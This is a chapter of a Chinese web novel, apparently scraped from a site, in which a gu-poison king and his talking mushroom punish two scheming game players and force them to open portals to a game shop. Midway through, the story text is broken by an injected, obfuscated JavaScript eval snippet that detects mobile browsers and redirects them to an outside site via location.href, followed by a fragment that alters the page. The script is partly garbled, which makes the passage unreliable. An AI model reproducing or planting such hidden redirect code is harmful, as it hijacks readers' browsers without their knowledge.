猜测着蘑菇的意思,少年的声线诡异地颤了一下。 【嗯嗯嗯!】 顾蘑菇认可了符歇的翻译。 堂堂蛊王,被一朵蘑菇骑了? 好怪的说法。 但顾蘑菇也不是人。 不能用人类的标准,去要求蘑菇该怎么说话。 在顾蘑菇的眼里,他就是骑了符歇。 见符歇愣神,顾蘑菇拉长杆杆,跺了跺人的掌心。 【蘑菇喜欢骑着人,不可以吗?】 符歇妥协了,带着点无可奈何。 “……可以。” 他哑声开口。 “让你骑。” 剩下欲言又止的话,最终化成了他眼底的一抹暗沉。 两个玩家站在巨蟒的背上,离蛇头上的符歇,有着不远不近的距离。 他们看得见蛊王低头似乎在念念有词,却听不见蛊王具体在说什么。 “boss不会在念咒吧?”中年男越想越害怕,“他难道想诅咒我们?他发现我们的计划了?” “不可能,别想那么多。”女人紧张地不断舔唇,“不论如何,我们绝对不能按他的意思去做,boss本来就站在玩家的对立面,我们没必要对boss负责。等会儿我们假装顺从,等到离开了苗疆的地界,他作为boss出不来,就拿我们没办法。” “……好吧。”中年男小声接话。 最终,巨蟒停在了山脚下的界碑前。 界碑上刻着古老而繁复的花纹,又被地底生出的血红色藤蔓紧紧吸附缠绕。 牢牢抓住绑缚,困在这片土地上,永世不得挣脱。 但又或许,本就不向往所谓的自由。 符歇抬手,指着界碑的另一头,又对玩家重复了一遍: “踏出去,然后,对着边界线,打开商城的门。” boss明明白白地告诉玩家:他要玩家帮忙卡bug。 “我们知道了。” “是,我们会的。” 两个玩家恭顺地应承。 他们都是身经百战的游戏玩家了,很好地把握住了微妙的分寸感,既不过分谄媚,也不流露出厌恶。 至少不会让人看出心中所思所想。 两个玩家尽量装出乖乖听话的样子,越过那块界碑。 在他们踏出边界的那一刻,苗疆湿冷的空气和冰凉的风在一瞬间远去,仿佛整个苗疆都被关进了一个透明的罩子里。 而那位万毒蛊王,还站在他们背后,以阴森的视线注视着他们的背影。 “快走!”女人毫不犹豫,拔腿就要狂奔,“不要回头!” 她刚刚抬起脚,忽然胸腔传来剧痛,喉咙间泛起腥甜。 一旁的中年男也没能幸免,他捂着胸口,一口血喷了出来。 “怎么……回事?” 两个人后知后觉意识到不对劲。 那道阴鸷的视线存在感极强,如芒在背。 两个玩家一点,一点扭动僵直的脖子。 身后,万毒蛊王站在屏障的另一边,轻抚着他的蘑菇,毫不意外地开口: “我就知道。” 顾蘑菇小发雷霆,扭动着杆杆指责。 【说好的给人开门呢?】 【居然敢骗人!】 【太坏了!】 还是蘑菇的人最好——答应蘑菇的事情,都会做到。 这群坏家伙,就知道欺负他脾气好的人! 符歇借着抚摸蘑菇的动作,挡去了前方的画面。 “咳咳咳……咳咳……” 中年男喉咙往外源源不断涌着血,两只手抓着自己的脖子,目眦欲裂。 “你……做了什么……” 而蘑菇眼里脾气很好的少年,只是静静地看着这血腥的一幕。 事关蘑菇,取回八宝铜铃,没有一点容错。 觉得教训够了,符歇才大发慈悲地答疑解惑: “我给你们种了蛊。” 女人勉强支撑起身子,诧异地看向他。 “什么……时候?我怎么……”没注意。 “在我第一次发现你们不靠谱的时候。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17419309|200431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 符歇眼皮都没抬,摸够了蘑菇脑袋,又捋了捋蘑菇的杆杆,敷衍地应,“具体,忘了。” 反正种蛊又不用写通知。 中年男还是觉得匪夷所思:“可,可你都没碰到我们!” 像是听到了什么很愚蠢的问题,符歇疑惑地蹙眉。 “谁跟你说,种蛊需要肢体接触了?” 女人还是不甘心,喃喃自语地复盘:“我们也没吃苗疆的食物,没有喝这里的水,明明都这么小心了,怎么还会着了道?难道是……风里的花粉?” 符歇无语,抿唇评价:“那不叫下蛊,那叫下毒。” 中年男灵光一现,大喊道:“那就是刚才的咒!你刚才念咒了!” 被问得烦了,少年轻叹一声。 “对付你们,真的什么都不需要。” 蛊的种类五花八门,确实也有像玩家说的用法。 但真正厉害的蛊师施蛊术,不需要任何媒介。 以符歇的水平,连咒都不需要念。 搞定玩家,轻轻松松。 怪就只怪玩家太菜。 顾蘑菇仰起脑袋,十分崇拜地望着符歇。 【菇的人!最强!】 这么美!这么强! 还被玩家欺负! ——这不是妥妥的美强惨吗? 顾蘑菇心疼得稀里哗啦,把杆杆抬到盖盖前,掩着脑袋呜咽。 【人,这一路走来真的不容易!】 顾蘑菇完全忘了: 他们刚才,其实是坐着蟒蛇来的。 接受到蘑菇的关注,符歇小幅度调整了一下站姿,使得身形更加挺拔。 对着不听话的玩家,万毒蛊王面色不虞,带着警告开口: “门可以有两扇,你们的命只有一条。” 两个玩家都是聪明人,听见这句话,立刻脊背发凉地明白了boss的意思。 要是不主动去开门,完全可以先死一个。 他们两个,只要有一个活着就够用了。 【呜呜呜……】 顾蘑菇听见符歇的话,杆杆一翘,又感性上了。 【人!太好了!】 玩家这样欺骗他,他还提醒玩家命只有一条,要好好珍惜! 真的好善良呀! 两个玩家对视一眼,同时看到对方眼中的忌惮。 他们一句话都没说,立刻变得积极起来,争着要给蛊王开门。 西装男更是殷勤:“小哥,这边请,我给您带路!” 带着绝望气息的黑影缓缓成型,最终变成了两扇一模一样的高大铁门。 两扇通往无限游戏商城的门,同时在苗疆的边界上打开。 符歇看着门内熟悉的黑色虚空,脸色猛然变得阴森可怖。 ……多久了? 已经过去多久了? 上一次见到这扇门,熊熊的火海漫山遍野,差点要把苗疆的天都烧透。 遍地都是生灵的哀嚎,那个人间炼狱的场景,符歇不需要闭眼,就能清晰地看到。 还有被抢走的苗疆圣物,八宝铜铃,也该要回家了。 【我们要去干什蘑?】 顾蘑菇嗅到了危险,有些不安地扭了扭。 无视那扇门带来的强大压力,符歇黑发纷飞,攥紧蘑菇。 他低垂下首,轻声对蘑菇说: “你是我的。哪怕变成了人,也不许离开我。” 绝对不许。